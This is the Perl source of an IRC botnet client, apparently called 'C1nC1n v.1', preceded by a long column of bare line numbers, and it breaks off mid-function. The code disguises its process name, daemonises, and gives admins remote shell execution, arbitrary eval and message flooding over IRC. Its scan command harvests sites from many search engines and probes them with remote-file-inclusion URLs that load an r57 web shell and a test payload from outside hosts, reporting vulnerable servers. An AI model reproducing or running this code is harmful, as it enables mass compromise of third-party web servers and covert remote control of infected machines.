./c0de/perl/newsupervuln.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
399.
400.
401.
402.
403.
404.
405.
406.
407.
408.
409.
410.
411.
412.
413.
414.
415.
416.
417.
418.
419.
420.
421.
422.
423.
424.
425.
426.
427.
428.
429.
430.
431.
432.
433.
434.
435.
436.
437.
438.
439.
440.
441.
442.
443.
444.
445.
446.
447.
448.
449.
450.
451.
452.
453.
454.
455.
456.
457.
458.
459.
460.
461.
462.
463.
464.
465.
466.
467.
468.
469.
470.
471.
472.
473.
474.
475.
476.
477.
478.
479.
480.
481.
482.
483.
484.
485.
486.
487.
488.
489.
490.
491.
492.
493.
494.
495.
496.
497.
498.
499.
500.
501.
502.
503.
504.
505.
506.
507.
508.
509.
510.
511.
512.
513.
514.
515.
516.
517.
518.
519.
520.
521.
522.
523.
524.
525.
526.
527.
528.
529.
530.
531.
532.
533.
534.
535.
536.
537.
538.
539.
540.
541.
542.
543.
544.
545.
546.
547.
548.
549.
550.
551.
552.
553.
554.
555.
556.
557.
558.
559.
560.
561.
562.
563.
564.
565.
566.
567.
568.
569.
570.
571.
572.
573.
574.
575.
576.
577.
578.
579.
580.
581.
582.
583.
584.
585.
586.
587.
588.
589.
590.
591.
592.
593.
594.
595.
596.
597.
598.
599.
600.
601.
602.
603.
604.
605.
606.
607.
608.
609.
610.
611.
612.
613.
614.
615.
616.
617.
618.
619.
620.
621.
622.
623.
624.
625.
626.
627.
628.
629.
630.
631.
632.
633.
634.
635.
636.
637.
638.
639.
640.
641.
642.
643.
644.
645.
646.
647.
648.
649.
650.
651.
652.
653.
654.
655.
656.
657.
658.
659.
660.
661.
662.
663.
664.
665.
666.
667.
668.
669.
670.
671.
672.
673.
674.
675.
676.
677.
678.
679.
680.
681.
682.
683.
684.
685.
686.
687.
688.
689.
690.
691.
692.
693.
694.
695.
696.
697.
698.
699.
700.
701.
702.
703.
704.
705.
706.
707.
708.
709.
710.
711.
712.
713.
714.
715.
716.
717.
718.
719.
720.
721.
722.
723.
724.
725.
726.
727.
728.
729.
730.
731.
732.
733.
734.
735.
736.
737.
738.
739.
740.
741.
742.
743.
744.
745.
746.
747.
748.
749.
750.
751.
752.
753.
754.
755.
756.
757.
758.
759.
760.
761.
762.
763.
764.
765.
766.
767.
768.
769.
770.
771.
772.
773.
774.
775.
776.
777.
778.
779.
780.
781.
782.
783.
784.
785.
786.
787.
788.
789.
790.
791.
792.
793.
794.
795.
796.
797.
798.
799.
800.
801.
802.
803.
804.
805.
806.
807.
808.
809.
810.
811.
812.
813.
814.
815.
816.
817.
818.
819.
820.
821.
822.
823.
824.
825.
826.
827.
828.
829.
830.
831.
832.
833.
834.
835.
836.
837.
838.
839.
840.
841.
842.
843.
844.
845.
846.
847.
848.
849.
850.
851.
852.
853.
854.
855.
856.
857.
858.
859.
860.
861.
862.
863.
864.
865.
866.
867.
868.
869.
870.
871.
872.
873.
874.
875.
876.
877.
878.
879.
880.
881.
882.
883.
884.
885.
886.
887.
888.
889.
890.
891.
892.
893.
894.
895.
896.
897.
898.
899.
900.
901.
902.
903.
904.
905.
906.
907.
908.
909.
910.
911.
912.
913.
914.
915.
#!/usr/bin/perl
# C1nC1n v.1 Modded version of v8 vulnscan Perl Bot :D
#
# What's new?!
# 
#  - Fixed:
#    .Google
#    .Tiscali
#    .Virgilio
#    .Aol
#    .Ask
#    .AllTheWeb
#    .Lycos
#    .Msn
#    .Yahoo
#    .Dmoz
#    .Arianna
#    .Ixquick
#    .and some other..
#    Usage:
#    !smokka(o !nickbot)  @scan vuln dork
#
#
#   EnJ0Y
 
use HTTP::Request;
use LWP::UserAgent;
 
 
my $processo = 'usr/bin/httpds';
############### Config :P ################
my $linas_max='8';
#############################################
my $sleep='5';
my $cmd="http://www.r57.li/r57.txt?";
my $id="http://www.enricco.cl/catalogo/catalog/images/bot_site.gif";
############################################
my @adms=("C1nC1n","The[Boss]");
#-----------------                         #
#Admins of the Bot set your nickname here  #
############################################
my @canais=("##canale##");
#-----------------                         #
#Put your channel here                     #
############################################
my @nickname = ("SkunK|");
my $nick = $nickname[rand scalar @nickname];
my $ircname ='WW';
chop (my $realname = 'Fuckthesystem');
$servidor='irc.explosionirc.net' unless $servidor;
my $porta='6667';
############################################
############################################
 
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
 
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Masalah fork: $!" unless defined($pid);
 
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
    print $IRC_cur_socket "$_[0]\n";
  }
}
 
sub conectar {
  my $meunick = $_[0];
  my $servidor_con = $_[1];
  my $porta_con = $_[2];
  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  PeerPort=>$porta_con) or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;
    $IRC_socket->autoflush(1);
    $sel_cliente->add($IRC_socket);
    $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
    $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
    nick("$meunick");
    sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
    sleep 1;
  }
}
 
my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {
 
      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line");
                } else {
                            $line_temp = $line;
        }
      }
    }
  }
}
 
sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {
          notice("$pn", "\001VERSION mIRC v6.17 PitBull\001");
    }
    if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
    if ($onde eq "$meunick"){
    shell("$pn", "$args");
  }
#######################################
#######################################
 
if ($args =~ /^(\Q$meunick\E|\!smokka)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1") unless ($natrix eq "!smokka" and $arg =~ /^\!nick/);
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $meunick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
 
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
  $meunick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
  sendraw("JOIN $canal ddosit");
}
}
}
 
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
  exit;
} else {
 
######################
#       Help         #
#                    #
######################
 
 
 
if ($funcarg =~ /^system/) {
$uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0Info BOT : 7 Server :Hiden : 6667");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0Uname -a     : 7 $uname");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0Uptime       : 7 $uptime");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0Own Prosses  : 7 $processo");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0ID           : 7 $id");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0Own Dir      : 7 $ownd");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0OS           : 7 $distro");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0Owner        : 7 C1nC1n");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Informazione Sistema9:.4| 0Channel      : 7 $canais");
}
 
if ($funcarg =~ /^Scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
### Start Message
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:14Scan9:.4|0 Scanner 4$bug 7$dork");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:14Scan9:.4|0 Scanner avviato con successo");
### End of Start Message
# Starting Google
   my @glist=&google($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|7 Google4 ".scalar(@glist)." 0Trovati");
#
 my @aliclist=&alice($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|13 Alice4 ".scalar(@aliclist)." 0Trovati");
#
   my @yanlist=&yandex($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|13 Yandex4 ".scalar(@yanlist)." 0Trovati");
 
#
    my @qlist=&ixquic($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|13 Ixquic4 ".scalar(@qlist)." 0Trovati");
#
   my @mlist=&msn($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|15 MSN4 ".scalar(@mlist)." 0Trovati");
#
   my @allist=&alltheweb($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|8 4All4The4Web4 ".scalar(@allist)." 0Trovati");
#
   my @dlist=&dmoz($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|8 4Dmoz4 ".scalar(@dlist)." 0Trovati");
#
   my @asklist=&ask($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|11 ASK4 ".scalar(@asklist)." 0Trovati");
#
   my @arilist=&arianna($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|11 Arianna4 ".scalar(@arilist)." 0Trovati");
#
   my @aollist=&aol($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|9 AOL4 ".scalar(@aollist)." 0Trovati");
#
   my @buslist=&buscar($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|9 Buscar4 ".scalar(@buslist)." 0Trovati");
#
   my @norlist=&norvegia($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|9 Germania-search4 ".scalar(@gerlist)." 0Trovati");  
 
#
   my @porlist=&portoguese($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|9 Portoguese-search4 ".scalar(@porlist)." 0Trovati");
#
   my @gerlist=&german($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|9 Norvegia-search4 ".scalar(@norlist)." 0Trovati");
#
   my @lycos=&lycos($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4Scan12:.4|12 1L7yc1o7s4 ".scalar(@lycos)." 12Trovati");
#
   my @ylist=&yahoo($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|13 Yahoo4 ".scalar(@ylist)." 0Trovati");
#
  my @tisclist=&tiscali($dork);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|13 Tiscali4 ".scalar(@tislist)." 0Trovati");
#
 
push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @tisclist, @aliclist, @yanlist, @buslist, @arilist, @dlist, @qlist, @norlist, @gerlist, @portlist );
my @puliti=&unici(@tot);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|0 Totale:4 ".scalar(@tot)." 0Trovati:4 ".scalar(@puliti)." 0su 4 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %25==0){
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:4Scan9:.4|0 Siti Controlati4 ".$contatore." 0su4 ".$uni. " 0Siti Trovati");
}
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Scan9:.4| Scansione completata con successo 4 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /Mic22/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Safe Mode = 9OFF9:.4|12 4Vuln: 9$print ");
sendraw($IRC_cur_socket, "PRIVMSG Max :4|9.:0Safe Mode = 9OFF9:.4|12 4Vuln: 0$print ");
}}
elsif($re =~ /Mic22/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
sendraw($IRC_cur_socket, "PRIVMSG $printl :4|9.:0Safe Mode = 4ON9:.4|12 4Vuln: 4$print  ");
}}
}}}
exit;
}}}
 
 
sub ircase {
my ($kem, $printl, $case) = @_;
  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
}
else {
p("$chan");
j("$chan");
}
}
 
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
 
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
 
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
 
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
 
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
 
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
 
if ($case =~ /^nick (.*)/) {
nick("$1");
}
 
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
 
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
 
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
 
 
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No such file or directory");
return;
}
 
elsif ($pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) {
exit;
 
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
  $c++;
  chop $linha;
  sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  if ($c == "$linas_max") {
    $c=0;
    sleep $sleep;
  }
}
exit;
}
}
}
 
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
 
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
 
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
 
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
 
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
 
sub j {
&join(@_);
}
 
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
 
}
sub p { part(@_);
}
 
sub part {
sendraw("PART $_[0]");
}
 
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
 
sub quit {
sendraw("QUIT :$_[0]");
}
 
sub fetch(){
my $rnd=(int(rand(9999)));
my $n= 80;
if ($rnd<5000) { $n<<=1;}
my $s= (int(rand(10)) * $n);
{
my @dominios = ("removed-them-all");
my @str;
foreach $dom  (@dominios)
{
push (@str,"@gstring");
}
my $query="www.google.com/search?q=";
$query.=$str[(rand(scalar(@str)))];
$query.="&num=$n&start=$s";
my @lst=();
sendraw("privmsg #Fi.re# :DEBUG only test googling: ".$query."");
my $page = http_query($query);
while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
if ($1 !~ m/google|cache|translate/){
push (@lst,$1);
}
}
return (@lst);
}
 
 
sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
sub lycos(){
my $inizio=0;
my $pagine=20;
my $key=$_[0];
my $av=0;
my @lst;
while($inizio <= $pagine){
my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
my $Res=query($lycos);
while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
my $k="$1";
my @grep=links($k);
push(@lst,@grep);
}
$inizio++;
$av++;
}
return @lst;
}
 
#####
sub aol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=100;$b++){
my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
my $Res=query($AoL);
while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
#####
sub tiscali(){
my @lst;
my $key = $_[0];
for($b=1;$b<=500;$b++){
my $tisc=("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".key($key));
my $Res=query($tisc);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
#######
 
sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
#####
sub alltheweb()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
#####
sub alice()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $ali=("http://ricerca.alice.it/ricerca?qs=".key($key)."&filter=1&site=&lr=&hits=10&offset=".$i);
my $Res=query($ali);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
######
sub yandex()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=100; $i++)
{
my $yand=("http://yandex.ru/yandsearch?p=".$i."&text=".key($key));
my $Res=query($yand);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
###
 
sub ixquic()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $ix=("http://s7-eu.ixquick.com/do/metasearch.pl?cmd=process_search&startat=".$i."&language=italiano&qid=LHHHMSMONPLO&query=".key($key)."&cat=web&rl=NONE&lui=italiano&ff=&rcount=");
my $Res=query($ix);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
##
sub dmoz()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=841; $i++)
{
my $dm=("http://search.dmoz.org/cgi-bin/search?search=".key($key)."&utf8=1&locale=it&start=".$i);
my $Res=query($dm);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
##
sub arianna()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=200; $i++)
{
my $aria=("http://arianna.libero.it/search/abin/integrata.cgi?pag=".$i."&np=3460000&start=".$i."&query=".key($key)."&regione=8");
my $Res=query($aria);
while($Res =~ m/>\?http:\/\/([^>\/]*)\//g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
##
sub buscar()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=200; $i++)
{
my $bus=("http://www.buscar.com.br/busca/buscar.php?keyword=".key($key)."&pagina=".$i."&linguagem=lang_pt");
my $Res=query($bus);
while($Res =~ m/<a href=\"?http:\/\/([^>\/]*)\//g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
##
sub norvegia()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $nor=("http://www.kvasir.no/nettsok/searchResult.html?offset=".$i."&searchExpr=".key($key)."&searchRegion=country&x=66&y=21");
my $Res=query($nor);
while($Res =~ m/<span class=\"?url\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
##
sub german()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=200; $i++)
{
my $ger=("http://www.dino-online.de/suchergebnis.html?query=".key($key)."&page=".$i."&sp=de");
my $Res=query($ger);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
##
sub portoguese()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=200; $i++)
{
my $por=("http://pesquisa.sapo.pt/?barra=resumo&format=html&limit=10&location=pt&page=".$i."&q=".key($key)."&st=local");
my $Res=query($por);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
##
 
sub google(){
my @lst;
my $key = $_[0];
for($b=0;$b<=100;$b+=100){
my $Go=("http://www.google.co.ma/search?q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
 
sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}
 
sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}
 
sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}
 
sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}
 
sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
